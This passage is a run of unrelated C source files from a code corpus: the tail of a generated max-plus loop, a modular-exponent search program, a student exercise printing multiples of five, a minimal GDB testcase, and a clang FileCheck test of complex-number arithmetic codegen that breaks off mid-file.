(4.0 + x_2)) > ((9.0 + x_3) > (20.0 + x_5)? (9.0 + x_3) : (20.0 + x_5))? ((16.0 + x_0) > (4.0 + x_2)? (16.0 + x_0) : (4.0 + x_2)) : ((9.0 + x_3) > (20.0 + x_5)? (9.0 + x_3) : (20.0 + x_5))) > (((3.0 + x_6) > (10.0 + x_11)? (3.0 + x_6) : (10.0 + x_11)) > ((13.0 + x_13) > (6.0 + x_14)? (13.0 + x_13) : (6.0 + x_14))? ((3.0 + x_6) > (10.0 + x_11)? (3.0 + x_6) : (10.0 + x_11)) : ((13.0 + x_13) > (6.0 + x_14)? (13.0 + x_13) : (6.0 + x_14)))? (((16.0 + x_0) > (4.0 + x_2)? (16.0 + x_0) : (4.0 + x_2)) > ((9.0 + x_3) > (20.0 + x_5)? (9.0 + x_3) : (20.0 + x_5))? ((16.0 + x_0) > (4.0 + x_2)? (16.0 + x_0) : (4.0 + x_2)) : ((9.0 + x_3) > (20.0 + x_5)? (9.0 + x_3) : (20.0 + x_5))) : (((3.0 + x_6) > (10.0 + x_11)? (3.0 + x_6) : (10.0 + x_11)) > ((13.0 + x_13) > (6.0 + x_14)? (13.0 + x_13) : (6.0 + x_14))? ((3.0 + x_6) > (10.0 + x_11)? (3.0 + x_6) : (10.0 + x_11)) : ((13.0 + x_13) > (6.0 + x_14)? (13.0 + x_13) : (6.0 + x_14)))); x_9_ = ((((11.0 + x_1) > (7.0 + x_6)? (11.0 + x_1) : (7.0 + x_6)) > ((6.0 + x_8) > (11.0 + x_9)? (6.0 + x_8) : (11.0 + x_9))? ((11.0 + x_1) > (7.0 + x_6)? (11.0 + x_1) : (7.0 + x_6)) : ((6.0 + x_8) > (11.0 + x_9)? (6.0 + x_8) : (11.0 + x_9))) > (((20.0 + x_10) > (17.0 + x_11)? (20.0 + x_10) : (17.0 + x_11)) > ((19.0 + x_13) > (13.0 + x_15)? (19.0 + x_13) : (13.0 + x_15))? ((20.0 + x_10) > (17.0 + x_11)? (20.0 + x_10) : (17.0 + x_11)) : ((19.0 + x_13) > (13.0 + x_15)? (19.0 + x_13) : (13.0 + x_15)))? (((11.0 + x_1) > (7.0 + x_6)? (11.0 + x_1) : (7.0 + x_6)) > ((6.0 + x_8) > (11.0 + x_9)? (6.0 + x_8) : (11.0 + x_9))? ((11.0 + x_1) > (7.0 + x_6)? (11.0 + x_1) : (7.0 + x_6)) : ((6.0 + x_8) > (11.0 + x_9)? (6.0 + x_8) : (11.0 + x_9))) : (((20.0 + x_10) > (17.0 + x_11)? (20.0 + x_10) : (17.0 + x_11)) > ((19.0 + x_13) > (13.0 + x_15)? (19.0 + x_13) : (13.0 + x_15))? ((20.0 + x_10) > (17.0 + x_11)? (20.0 + x_10) : (17.0 + x_11)) : ((19.0 + x_13) > (13.0 + x_15)? (19.0 + x_13) : (13.0 + x_15)))); x_10_ = ((((6.0 + x_1) > (3.0 + x_5)? (6.0 + x_1) : (3.0 + x_5)) > ((16.0 + x_6) > (7.0 + x_8)? (16.0 + x_6) : (7.0 + x_8))? ((6.0 + x_1) > (3.0 + x_5)? (6.0 + x_1) : (3.0 + x_5)) : ((16.0 + x_6) > (7.0 + x_8)? (16.0 + x_6) : (7.0 + x_8))) > (((12.0 + x_10) > (13.0 + x_11)? (12.0 + x_10) : (13.0 + x_11)) > ((10.0 + x_12) > (12.0 + x_15)? (10.0 + x_12) : (12.0 + x_15))? ((12.0 + x_10) > (13.0 + x_11)? (12.0 + x_10) : (13.0 + x_11)) : ((10.0 + x_12) > (12.0 + x_15)? (10.0 + x_12) : (12.0 + x_15)))? (((6.0 + x_1) > (3.0 + x_5)? (6.0 + x_1) : (3.0 + x_5)) > ((16.0 + x_6) > (7.0 + x_8)? (16.0 + x_6) : (7.0 + x_8))? ((6.0 + x_1) > (3.0 + x_5)? (6.0 + x_1) : (3.0 + x_5)) : ((16.0 + x_6) > (7.0 + x_8)? (16.0 + x_6) : (7.0 + x_8))) : (((12.0 + x_10) > (13.0 + x_11)? (12.0 + x_10) : (13.0 + x_11)) > ((10.0 + x_12) > (12.0 + x_15)? (10.0 + x_12) : (12.0 + x_15))? ((12.0 + x_10) > (13.0 + x_11)? (12.0 + x_10) : (13.0 + x_11)) : ((10.0 + x_12) > (12.0 + x_15)? (10.0 + x_12) : (12.0 + x_15)))); x_11_ = ((((1.0 + x_0) > (10.0 + x_1)? (1.0 + x_0) : (10.0 + x_1)) > ((2.0 + x_2) > (17.0 + x_3)? (2.0 + x_2) : (17.0 + x_3))? ((1.0 + x_0) > (10.0 + x_1)? (1.0 + x_0) : (10.0 + x_1)) : ((2.0 + x_2) > (17.0 + x_3)? (2.0 + x_2) : (17.0 + x_3))) > (((11.0 + x_5) > (12.0 + x_9)? (11.0 + x_5) : (12.0 + x_9)) > ((11.0 + x_11) > (7.0 + x_14)? (11.0 + x_11) : (7.0 + x_14))? ((11.0 + x_5) > (12.0 + x_9)? (11.0 + x_5) : (12.0 + x_9)) : ((11.0 + x_11) > (7.0 + x_14)? (11.0 + x_11) : (7.0 + x_14)))? (((1.0 + x_0) > (10.0 + x_1)? (1.0 + x_0) : (10.0 + x_1)) > ((2.0 + x_2) > (17.0 + x_3)? (2.0 + x_2) : (17.0 + x_3))? ((1.0 + x_0) > (10.0 + x_1)? (1.0 + x_0) : (10.0 + x_1)) : ((2.0 + x_2) > (17.0 + x_3)? (2.0 + x_2) : (17.0 + x_3))) : (((11.0 + x_5) > (12.0 + x_9)? (11.0 + x_5) : (12.0 + x_9)) > ((11.0 + x_11) > (7.0 + x_14)? (11.0 + x_11) : (7.0 + x_14))? ((11.0 + x_5) > (12.0 + x_9)? (11.0 + x_5) : (12.0 + x_9)) : ((11.0 + x_11) > (7.0 + x_14)? (11.0 + x_11) : (7.0 + x_14)))); x_12_ = ((((8.0 + x_0) > (20.0 + x_1)? (8.0 + x_0) : (20.0 + x_1)) > ((17.0 + x_4) > (5.0 + x_6)? (17.0 + x_4) : (5.0 + x_6))? ((8.0 + x_0) > (20.0 + x_1)? (8.0 + x_0) : (20.0 + x_1)) : ((17.0 + x_4) > (5.0 + x_6)? (17.0 + x_4) : (5.0 + x_6))) > (((1.0 + x_7) > (17.0 + x_10)? (1.0 + x_7) : (17.0 + x_10)) > ((10.0 + x_12) > (10.0 + x_13)? (10.0 + x_12) : (10.0 + x_13))? ((1.0 + x_7) > (17.0 + x_10)? (1.0 + x_7) : (17.0 + x_10)) : ((10.0 + x_12) > (10.0 + x_13)? (10.0 + x_12) : (10.0 + x_13)))? (((8.0 + x_0) > (20.0 + x_1)? (8.0 + x_0) : (20.0 + x_1)) > ((17.0 + x_4) > (5.0 + x_6)? (17.0 + x_4) : (5.0 + x_6))? ((8.0 + x_0) > (20.0 + x_1)? (8.0 + x_0) : (20.0 + x_1)) : ((17.0 + x_4) > (5.0 + x_6)? (17.0 + x_4) : (5.0 + x_6))) : (((1.0 + x_7) > (17.0 + x_10)? (1.0 + x_7) : (17.0 + x_10)) > ((10.0 + x_12) > (10.0 + x_13)? (10.0 + x_12) : (10.0 + x_13))? ((1.0 + x_7) > (17.0 + x_10)? (1.0 + x_7) : (17.0 + x_10)) : ((10.0 + x_12) > (10.0 + x_13)? (10.0 + x_12) : (10.0 + x_13)))); x_13_ = ((((5.0 + x_0) > (15.0 + x_2)? (5.0 + x_0) : (15.0 + x_2)) > ((2.0 + x_3) > (9.0 + x_6)? (2.0 + x_3) : (9.0 + x_6))? ((5.0 + x_0) > (15.0 + x_2)? (5.0 + x_0) : (15.0 + x_2)) : ((2.0 + x_3) > (9.0 + x_6)? (2.0 + x_3) : (9.0 + x_6))) > (((13.0 + x_9) > (14.0 + x_11)? (13.0 + x_9) : (14.0 + x_11)) > ((3.0 + x_12) > (8.0 + x_14)? (3.0 + x_12) : (8.0 + x_14))? ((13.0 + x_9) > (14.0 + x_11)? (13.0 + x_9) : (14.0 + x_11)) : ((3.0 + x_12) > (8.0 + x_14)? (3.0 + x_12) : (8.0 + x_14)))? (((5.0 + x_0) > (15.0 + x_2)? (5.0 + x_0) : (15.0 + x_2)) > ((2.0 + x_3) > (9.0 + x_6)? (2.0 + x_3) : (9.0 + x_6))? ((5.0 + x_0) > (15.0 + x_2)? (5.0 + x_0) : (15.0 + x_2)) : ((2.0 + x_3) > (9.0 + x_6)? (2.0 + x_3) : (9.0 + x_6))) : (((13.0 + x_9) > (14.0 + x_11)? (13.0 + x_9) : (14.0 + x_11)) > ((3.0 + x_12) > (8.0 + x_14)? (3.0 + x_12) : (8.0 + x_14))? ((13.0 + x_9) > (14.0 + x_11)? (13.0 + x_9) : (14.0 + x_11)) : ((3.0 + x_12) > (8.0 + x_14)? (3.0 + x_12) : (8.0 + x_14)))); x_14_ = ((((2.0 + x_4) > (15.0 + x_5)? (2.0 + x_4) : (15.0 + x_5)) > ((9.0 + x_7) > (10.0 + x_8)? (9.0 + x_7) : (10.0 + x_8))? ((2.0 + x_4) > (15.0 + x_5)? (2.0 + x_4) : (15.0 + x_5)) : ((9.0 + x_7) > (10.0 + x_8)? (9.0 + x_7) : (10.0 + x_8))) > (((8.0 + x_9) > (8.0 + x_10)? (8.0 + x_9) : (8.0 + x_10)) > ((8.0 + x_12) > (3.0 + x_13)? (8.0 + x_12) : (3.0 + x_13))? ((8.0 + x_9) > (8.0 + x_10)? (8.0 + x_9) : (8.0 + x_10)) : ((8.0 + x_12) > (3.0 + x_13)? (8.0 + x_12) : (3.0 + x_13)))? (((2.0 + x_4) > (15.0 + x_5)? (2.0 + x_4) : (15.0 + x_5)) > ((9.0 + x_7) > (10.0 + x_8)? (9.0 + x_7) : (10.0 + x_8))? ((2.0 + x_4) > (15.0 + x_5)? (2.0 + x_4) : (15.0 + x_5)) : ((9.0 + x_7) > (10.0 + x_8)? (9.0 + x_7) : (10.0 + x_8))) : (((8.0 + x_9) > (8.0 + x_10)? (8.0 + x_9) : (8.0 + x_10)) > ((8.0 + x_12) > (3.0 + x_13)? (8.0 + x_12) : (3.0 + x_13))? ((8.0 + x_9) > (8.0 + x_10)? (8.0 + x_9) : (8.0 + x_10)) : ((8.0 + x_12) > (3.0 + x_13)? (8.0 + x_12) : (3.0 + x_13)))); x_15_ = ((((7.0 + x_0) > (8.0 + x_2)? (7.0 + x_0) : (8.0 + x_2)) > ((7.0 + x_3) > (13.0 + x_4)? (7.0 + x_3) : (13.0 + x_4))? ((7.0 + x_0) > (8.0 + x_2)? (7.0 + x_0) : (8.0 + x_2)) : ((7.0 + x_3) > (13.0 + x_4)? (7.0 + x_3) : (13.0 + x_4))) > (((17.0 + x_5) > (14.0 + x_6)? (17.0 + x_5) : (14.0 + x_6)) > ((2.0 + x_7) > (15.0 + x_10)? (2.0 + x_7) : (15.0 + x_10))? ((17.0 + x_5) > (14.0 + x_6)? (17.0 + x_5) : (14.0 + x_6)) : ((2.0 + x_7) > (15.0 + x_10)? (2.0 + x_7) : (15.0 + x_10)))? (((7.0 + x_0) > (8.0 + x_2)? (7.0 + x_0) : (8.0 + x_2)) > ((7.0 + x_3) > (13.0 + x_4)? (7.0 + x_3) : (13.0 + x_4))? ((7.0 + x_0) > (8.0 + x_2)? (7.0 + x_0) : (8.0 + x_2)) : ((7.0 + x_3) > (13.0 + x_4)? (7.0 + x_3) : (13.0 + x_4))) : (((17.0 + x_5) > (14.0 + x_6)? (17.0 + x_5) : (14.0 + x_6)) > ((2.0 + x_7) > (15.0 + x_10)? (2.0 + x_7) : (15.0 + x_10))? ((17.0 + x_5) > (14.0 + x_6)? (17.0 + x_5) : (14.0 + x_6)) : ((2.0 + x_7) > (15.0 + x_10)? (2.0 + x_7) : (15.0 + x_10)))); x_0 = x_0_; x_1 = x_1_; x_2 = x_2_; x_3 = x_3_; x_4 = x_4_; x_5 = x_5_; x_6 = x_6_; x_7 = x_7_; x_8 = x_8_; x_9 = x_9_; x_10 = x_10_; x_11 = x_11_; x_12 = x_12_; x_13 = x_13_; x_14 = x_14_; x_15 = x_15_; } return 0; }
the_stack_data/15762708.c
// The Expat License // // Copyright (c) 2017, Shlomi Fish // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <math.h> #include <string.h> typedef long long myint_t; #define MOD 1000000000 static inline myint_t exp_mod(myint_t b, myint_t e) { if (e == 0) { return 1; } const myint_t rec_p = exp_mod(b, (e >> 1)); myint_t ret = rec_p * rec_p; if (e & 0x1) { ret *= b; } return (ret % MOD); } #define CYCLE_LEN 50000000 /* Found out experimentally for all numbers in the range. */ #define CYCLE_LEN_DELTA_BASE 8 /* A safety margin. */ #define CYCLE_LEN_DELTA_MARGIN 3 #define CYCLE_LEN_DELTA (CYCLE_LEN_DELTA_BASE + CYCLE_LEN_DELTA_MARGIN) #define NEXT_POWER() { power = ((power * n) % MOD); } static inline myint_t calc_f(myint_t n) { myint_t x = 0; if (n % 10 != 0) { myint_t power = 1; for (int e = 0; e < (CYCLE_LEN) ; e++) { /* Put the cheaper conditional first. */ if (( power > x ) && (power % CYCLE_LEN == e)) { x = power; } NEXT_POWER(); } for (int cycle_len_mod = 0 ; cycle_len_mod < CYCLE_LEN_DELTA ; cycle_len_mod++) { if (( power > x ) && (power % CYCLE_LEN == cycle_len_mod)) { x = power; } NEXT_POWER(); } } printf("f(%lld) == %lld\n", n, x); fflush(stdout); return x; } int main(int argc, char * argv[]) { const myint_t START = atol(argv[1]); const myint_t END = atol(argv[2]); myint_t sum = 0; for (myint_t n = START; n <= END ; n++) { sum += calc_f(n); } printf( "Sum == %lld\n", sum); fflush(stdout); return 0; }
the_stack_data/112993.c
/* @file: atividade3_aula10 @author: Deivid da Silva Galvao @date: 10 nov 2021 @brief: 3) Crie um algoritmo que exiba todos os números múltiplos de 5 no intervalo de 1 a 500. */ #include <stdio.h> #include <stdlib.h> int main() { int contador; for (contador = 5; contador <= 500 ; contador = contador + 5) { printf("%i\n",contador ); }//fecha for return 0; }//fecha main
the_stack_data/92326.c
/* This testcase is part of GDB, the GNU debugger. Copyright 2008-2016 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ int main (int argc, char **argv) { return 0; /* set breakpoint 1 here */ }
the_stack_data/12637616.c
// FIXME: This file should not be using -O1; that makes it depend on the entire LLVM IR optimizer. // RUN: %clang_cc1 %s -O1 -fno-experimental-new-pass-manager -emit-llvm -triple x86_64-unknown-unknown -o - | FileCheck %s --check-prefix=X86 // RUN: %clang_cc1 %s -O1 -fno-experimental-new-pass-manager -emit-llvm -triple x86_64-pc-win64 -o - | FileCheck %s --check-prefix=X86 // RUN: %clang_cc1 %s -O1 -fno-experimental-new-pass-manager -emit-llvm -triple i686-unknown-unknown -o - | FileCheck %s --check-prefix=X86 // RUN: %clang_cc1 %s -O1 -fno-experimental-new-pass-manager -emit-llvm -triple powerpc-unknown-unknown -o - | FileCheck %s --check-prefix=PPC // RUN: %clang_cc1 %s -O1 -fno-experimental-new-pass-manager -emit-llvm -triple armv7-none-linux-gnueabi -o - | FileCheck %s --check-prefix=ARM // RUN: %clang_cc1 %s -O1 -fno-experimental-new-pass-manager -emit-llvm -triple armv7-none-linux-gnueabihf -o - | FileCheck %s --check-prefix=ARMHF // RUN: %clang_cc1 %s -O1 -fno-experimental-new-pass-manager -emit-llvm -triple thumbv7k-apple-watchos2.0 -o - -target-abi aapcs16 | FileCheck %s --check-prefix=ARM7K // RUN: %clang_cc1 %s -O1 -fno-experimental-new-pass-manager -emit-llvm -triple aarch64-unknown-unknown -ffast-math -o - | FileCheck %s --check-prefix=AARCH64-FASTMATH float _Complex add_float_rr(float a, float b) { // X86-LABEL: @add_float_rr( // X86: fadd // X86-NOT: fadd // X86: ret return a + b; } float _Complex add_float_cr(float _Complex a, float b) { // X86-LABEL: @add_float_cr( // X86: fadd // X86-NOT: fadd // X86: ret return a + b; } float _Complex add_float_rc(float a, float _Complex b) { // X86-LABEL: @add_float_rc( // X86: fadd // X86-NOT: fadd // X86: ret return a + b; } float _Complex add_float_cc(float _Complex a, float _Complex b) { // X86-LABEL: @add_float_cc( // X86: fadd // X86: fadd // X86-NOT: fadd // X86: ret return a + b; } float _Complex sub_float_rr(float a, float b) { // X86-LABEL: @sub_float_rr( // X86: fsub // X86-NOT: fsub // X86: ret return a - b; } float _Complex sub_float_cr(float _Complex a, float b) { // X86-LABEL: @sub_float_cr( // X86: fsub // X86-NOT: fsub // X86: ret return a - b; } float _Complex sub_float_rc(float a, float _Complex b) { // X86-LABEL: @sub_float_rc( // X86: fsub // X86: fneg // X86-NOT: fsub // X86: ret return a - b; } float _Complex sub_float_cc(float _Complex a, float _Complex b) { // X86-LABEL: @sub_float_cc( // X86: fsub // X86: fsub // X86-NOT: fsub // X86: ret return a - b; } float _Complex mul_float_rr(float a, float b) { // X86-LABEL: @mul_float_rr( // X86: fmul // X86-NOT: fmul // X86: ret return a * b; } float _Complex mul_float_cr(float _Complex a, float b) { // X86-LABEL: @mul_float_cr( // X86: fmul // X86: fmul // X86-NOT: fmul // X86: ret return a * b; } float _Complex mul_float_rc(float a, float _Complex b) { // X86-LABEL: @mul_float_rc( // X86: fmul // X86: fmul // X86-NOT: fmul // X86: ret return a * b; } float _Complex mul_float_cc(float _Complex a, float _Complex b) { // X86-LABEL: @mul_float_cc( // X86: %[[AC:[^ ]+]] = fmul // X86: %[[BD:[^ ]+]] = fmul // X86: %[[AD:[^ ]+]] = fmul // X86: %[[BC:[^ ]+]] = fmul // X86: %[[RR:[^ ]+]] = fsub float %[[AC]], %[[BD]] // X86: %[[RI:[^ ]+]] = fadd float // X86-DAG: %[[AD]] // X86-DAG: , // X86-DAG: %[[BC]] // X86: fcmp uno float %[[RR]] // X86: fcmp uno float %[[RI]] // X86: call {{.*}} @__mulsc3( // X86: ret return a * b; } float _Complex div_float_rr(float a, float b) { // X86-LABEL: @div_float_rr( // X86: fdiv // X86-NOT: fdiv // X86: ret return a / b; } float _Complex div_float_cr(float _Complex a, float b) { // X86-LABEL: @div_float_cr( // X86: fdiv // X86: fdiv // X86-NOT: fdiv // X86: ret return a / b; } float _Complex div_float_rc(float a, float _Complex b) { // X86-LABEL: @div_float_rc( // X86-NOT: fdiv // X86: call {{.*}} @__divsc3( // X86: ret // a / b = (A+iB) / (C+iD) = ((AC+BD)/(CC+DD)) + i((BC-AD)/(CC+DD)) // AARCH64-FASTMATH-LABEL: @div_float_rc(float %a, [2 x float] %b.coerce) // A = a // B = 0 // AARCH64-FASTMATH: [[C:%.*]] = extractvalue [2 x float] %b.coerce, 0 // AARCH64-FASTMATH: [[D:%.*]] = extractvalue [2 x float] %b.coerce, 1 // // AARCH64-FASTMATH: [[AC:%.*]] = fmul fast float [[C]], %a // BD = 0 // ACpBD = AC // // AARCH64-FASTMATH: [[CC:%.*]] = fmul fast float [[C]], [[C]] // AARCH64-FASTMATH: [[DD:%.*]] = fmul fast float [[D]], [[D]] // AARCH64-FASTMATH: [[CCpDD:%.*]] = fadd fast float [[CC]], [[DD]] // // BC = 0 // AARCH64-FASTMATH: [[NEGA:%.*]] = fsub fast float -0.000000e+00, %a // AARCH64-FASTMATH: [[AD:%.*]] = fmul fast float [[D]], [[NEGA]] // // AARCH64-FASTMATH: fdiv fast float [[AC]], [[CCpDD]] // AARCH64-FASTMATH: fdiv fast float [[AD]], [[CCpDD]] // AARCH64-FASTMATH: ret return a / b; } float _Complex div_float_cc(float _Complex a, float _Complex b) { // X86-LABEL: @div_float_cc( // X86-NOT: fdiv // X86: call {{.*}} @__divsc3( // X86: ret // a / b = (A+iB) / (C+iD) = ((AC+BD)/(CC+DD)) + i((BC-AD)/(CC+DD)) // AARCH64-FASTMATH-LABEL: @div_float_cc([2 x float] %a.coerce, [2 x float] %b.coerce) // AARCH64-FASTMATH: [[A:%.*]] = extractvalue [2 x float] %a.coerce, 0 // AARCH64-FASTMATH: [[B:%.*]] = extractvalue [2 x float] %a.coerce, 1 // AARCH64-FASTMATH: [[C:%.*]] = extractvalue [2 x float] %b.coerce, 0 // AARCH64-FASTMATH: [[D:%.*]] = extractvalue [2 x float] %b.coerce, 1 // // AARCH64-FASTMATH: [[AC:%.*]] = fmul fast float [[C]], [[A]] // AARCH64-FASTMATH: [[BD:%.*]] = fmul fast float [[D]], [[B]] // AARCH64-FASTMATH: [[ACpBD:%.*]] = fadd fast float [[AC]], [[BD]] // // AARCH64-FASTMATH: [[CC:%.*]] = fmul fast float [[C]], [[C]] // AARCH64-FASTMATH: [[DD:%.*]] = fmul fast float [[D]], [[D]] // AARCH64-FASTMATH: [[CCpDD:%.*]] = fadd fast float [[CC]], [[DD]] // // AARCH64-FASTMATH: [[BC:%.*]] = fmul fast float [[C]], [[B]] // AARCH64-FASTMATH: [[AD:%.*]] = fmul fast float [[D]], [[A]] // AARCH64-FASTMATH: [[BCmAD:%.*]] = fsub fast float [[BC]], [[AD]] // // AARCH64-FASTMATH: fdiv fast float [[ACpBD]], [[CCpDD]] // AARCH64-FASTMATH: fdiv fast float [[BCmAD]], [[CCpDD]] // AARCH64-FASTMATH: ret return a / b; } double _Complex add_double_rr(double a, double b) { // X86-LABEL: @add_double_rr( // X86: fadd // X86-NOT: fadd // X86: ret return a + b; } double _Complex add_double_cr(double _Complex a, double b) { // X86-LABEL: @add_double_cr( // X86: fadd // X86-NOT: fadd // X86: ret return a + b; } double _Complex add_double_rc(double a, double _Complex b) { // X86-LABEL: @add_double_rc( // X86: fadd // X86-NOT: fadd // X86: ret return a + b; } double _Complex add_double_cc(double _Complex a, double _Complex b) { // X86-LABEL: @add_double_cc( // X86: fadd // X86: fadd // X86-NOT: fadd // X86: ret return a + b; } double _Complex sub_double_rr(double a, double b) { // X86-LABEL: @sub_double_rr( // X86: fsub // X86-NOT: fsub // X86: ret return a - b; } double _Complex sub_double_cr(double _Complex a, double b) { // X86-LABEL: @sub_double_cr( // X86: fsub // X86-NOT: fsub // X86: ret return a - b; } double _Complex sub_double_rc(double a, double _Complex b) { // X86-LABEL: @sub_double_rc( // X86: fsub // X86: fneg // X86-NOT: fsub // X86: ret return a - b; } double _Complex sub_double_cc(double _Complex a, double _Complex b) { // X86-LABEL: @sub_double_cc( // X86: fsub // X86: fsub // X86-NOT: fsub // X86: ret return a - b; } double _Complex mul_double_rr(double a, double b) { // X86-LABEL: @mul_double_rr( // X86: fmul // X86-NOT: fmul // X86: ret return a * b; } double _Complex mul_double_cr(double _Complex a, double b) { // X86-LABEL: @mul_double_cr( // X86: fmul // X86: fmul // X86-NOT: fmul // X86: ret return a * b; } double _Complex mul_double_rc(double a, double _Complex b) { // X86-LABEL: @mul_double_rc( // X86: fmul // X86: fmul // X86-NOT: fmul // X86: ret return a * b; } double _Complex mul_double_cc(double _Complex a, double _Complex b) { // X86-LABEL: @mul_double_cc( // X86: %[[AC:[^ ]+]] = fmul // X86: %[[BD:[^ ]+]] = fmul // X86: %[[AD:[^ ]+]] = fmul // X86: %[[BC:[^ ]+]] = fmul // X86: %[[RR:[^ ]+]] = fsub double %[[AC]], %[[BD]] // X86: %[[RI:[^ ]+]] = fadd double // X86-DAG: %[[AD]] // X86-DAG: , // X86-DAG: %[[BC]] // X86: fcmp uno double %[[RR]] // X86: fcmp uno double %[[RI]] // X86: call {{.*}} @__muldc3( // X86: ret return a * b; } double _Complex div_double_rr(double a, double b) { // X86-LABEL: @div_double_rr( // X86: fdiv // X86-NOT: fdiv // X86: ret return a / b; } double _Complex div_double_cr(double _Complex a, double b) { // X86-LABEL: @div_double_cr( // X86: fdiv // X86: fdiv // X86-NOT: fdiv // X86: ret return a / b; } double _Complex div_double_rc(double a, double _Complex b) { // X86-LABEL: @div_double_rc( // X86-NOT: fdiv // X86: call {{.*}} @__divdc3( // X86: ret // a / b = (A+iB) / (C+iD) = ((AC+BD)/(CC+DD)) + i((BC-AD)/(CC+DD)) // AARCH64-FASTMATH-LABEL: @div_double_rc(double %a, [2 x double] %b.coerce) // A = a // B = 0 // AARCH64-FASTMATH: [[C:%.*]] = extractvalue [2 x double] %b.coerce, 0 // AARCH64-FASTMATH: [[D:%.*]] = extractvalue [2 x double] %b.coerce, 1 // // AARCH64-FASTMATH: [[AC:%.*]] = fmul fast double [[C]], %a // BD = 0 // ACpBD = AC // // AARCH64-FASTMATH: [[CC:%.*]] = fmul fast double [[C]], [[C]] // AARCH64-FASTMATH: [[DD:%.*]] = fmul fast double [[D]], [[D]] // AARCH64-FASTMATH: [[CCpDD:%.*]] = fadd fast double [[CC]], [[DD]] // // BC = 0 // AARCH64-FASTMATH: [[NEGA:%.*]] = fsub fast double -0.000000e+00, %a // AARCH64-FASTMATH: [[AD:%.*]] = fmul fast double [[D]], [[NEGA]] // // AARCH64-FASTMATH: fdiv fast double [[AC]], [[CCpDD]] // AARCH64-FASTMATH: fdiv fast double [[AD]], [[CCpDD]] // AARCH64-FASTMATH: ret return a / b; } double _Complex div_double_cc(double _Complex a, double _Complex b) { // X86-LABEL: @div_double_cc( // X86-NOT: fdiv // X86: call {{.*}} @__divdc3( // X86: ret // a / b = (A+iB) / (C+iD) = ((AC+BD)/(CC+DD)) + i((BC-AD)/(CC+DD)) // AARCH64-FASTMATH-LABEL: @div_double_cc([2 x double] %a.coerce, [2 x double] %b.coerce) // AARCH64-FASTMATH: [[A:%.*]] = extractvalue [2 x double] %a.coerce, 0 // AARCH64-FASTMATH: [[B:%.*]] = extractvalue [2 x double] %a.coerce, 1 // AARCH64-FASTMATH: [[C:%.*]] = extractvalue [2 x double] %b.coerce, 0 // AARCH64-FASTMATH: [[D:%.*]] = extractvalue [2 x double] %b.coerce, 1 // // AARCH64-FASTMATH: [[AC:%.*]] = fmul fast double [[C]], [[A]] // AARCH64-FASTMATH: [[BD:%.*]] = fmul fast double [[D]], [[B]] // AARCH64-FASTMATH: [[ACpBD:%.*]] = fadd fast double [[AC]], [[BD]] // // AARCH64-FASTMATH: [[CC:%.*]] = fmul fast double [[C]], [[C]] // AARCH64-FASTMATH: [[DD:%.*]] = fmul fast double [[D]], [[D]] // AARCH64-FASTMATH: [[CCpDD:%.*]] = fadd fast double [[CC]], [[DD]] // // AARCH64-FASTMATH: [[BC:%.*]] = fmul fast double [[C]], [[B]] // AARCH64-FASTMATH: [[AD:%.*]] = fmul fast double [[D]], [[A]] // AARCH64-FASTMATH: [[BCmAD:%.*]] = fsub fast double [[BC]], [[AD]] // // AARCH64-FASTMATH: fdiv fast double [[ACpBD]], [[CCpDD]] // AARCH64-FASTMATH: fdiv fast double [[BCmAD]], [[CCpDD]] // AARCH64-FASTMATH: ret return a / b; } long double _Complex add_long_double_rr(long double a, long double b) { // X86-LABEL: @add_long_double_rr( // X86: fadd // X86-NOT: fadd // X86: ret return a + b; } long double _Complex add_long_double_cr(long double _Complex a, long double b) { // X86-LABEL: @add_long_double_cr( // X86: fadd // X86-NOT: fadd // X86: ret return a + b; } long double _Complex add_long_double_rc(long double a, long double _Complex b) { // X86-LABEL: @add_long_double_rc( // X86: fadd // X86-NOT: fadd // X86: ret return a + b; } long double _Complex add_long_double_cc(long double _Complex a, long double _Complex b) { // X86-LABEL: @add_long_double_cc( // X86: fadd // X86: fadd // X86-NOT: fadd // X86: ret return a + b; } long double _Complex sub_long_double_rr(long double a, long double b) { // X86-LABEL: @sub_long_double_rr( // X86: fsub // X86-NOT: fsub // X86: ret return a - b; } long double _Complex sub_long_double_cr(long double _Complex a, long double b) { // X86-LABEL: @sub_long_double_cr( // X86: fsub // X86-NOT: fsub // X86: ret return a - b; } long double _Complex sub_long_double_rc(long double a, long double _Complex b) { // X86-LABEL: @sub_long_double_rc( // X86: fsub // X86: fneg // X86-NOT: fsub // X86: ret return a - b; } long double _Complex sub_long_double_cc(long double _Complex a, long double _Complex b) { // X86-LABEL: @sub_long_double_cc( // X86: fsub // X86: fsub // X86-NOT: fsub // X86: ret return a - b; } long double _Complex mul_long_double_rr(long double a, long double b) { // X86-LABEL: @mul_long_double_rr( // X86: fmul // X86-NOT: fmul // X86: ret return a * b; } long double _Complex mul_long_double_cr(long double _Complex a, long double b) { // X86-LABEL: @mul_long_double_cr( // X86: fmul // X86: fmul // X86-NOT: fmul // X86: ret return a * b; } long double _Complex mul_long_double_rc(long double a, long double _Complex b) { // X86-LABEL: @mul_long_double_rc( // X86: fmul // X86: fmul // X86-NOT: fmul // X86: ret return a * b; } long double _Complex mul_long_double_cc(long double _Complex a, long double _Complex b) { // X86-LABEL: @mul_long_double_cc( // X86: %[[AC:[^ ]+]] = fmul // X86: %[[BD:[^ ]+]] = fmul // 